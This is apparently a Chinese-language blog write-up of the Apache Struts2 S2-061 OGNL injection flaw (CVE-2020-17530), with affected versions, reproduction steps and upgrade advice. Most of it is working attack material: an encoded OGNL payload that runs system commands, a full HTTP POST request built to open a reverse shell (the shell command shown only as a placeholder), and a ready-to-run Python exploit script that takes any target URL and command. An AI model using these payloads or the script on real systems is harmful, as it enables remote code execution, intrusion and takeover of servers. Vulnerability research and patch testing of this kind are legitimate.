漏洞简介
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

影响版本
Apache Struts 2.0.0 - 2.5.25

漏洞描述
Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

漏洞复现
访问目标地址:
http://your-ip:8080

68384-8gqtuyz7g.png

首先验证漏洞是否存在

http://ip:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

65039-sudxyv3efb.png

执行命令

http://ip:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

26405-26ox7bq1or1.png

成功执行id命令

反弹shell命令
通过以下在线地址将bash反弹命令进行进行编码转换
http://www.jackson-t.ca/runtime-exec-payloads.html
POC如下

POST / HTTP/1.1
Host:ip:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node01u35aso1hg2r314yeyqd5i96jl37.node0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 942

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("反弹shell的编码")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

可以看到成功反弹shell:

13234-akqav52og9a.png

脚本验证

# encoding=utf-8
import requests
import sys
from lxml import etree
 
 
def exp(url,cmd):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    tturl=url+"/?id="+payload
    r=requests.get(tturl)
    page=r.text
#   etree=html.etree
    page=etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])
 
if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ EXP: python struts2-061-poc.py http://1.1.1.1:8081 id      +')
    print('+ VER: Struts 2.0.0-2.5.25                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-061 RCE && CVE-2020-17530                               +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:port command")
        print("[+]============================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
exp(url,cmd)

74171-unvknw3qatf.png

漏洞修复
避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本
临时修复,升级到 Struts 2.5.26 版本,下载地址为:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

漏洞总结
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论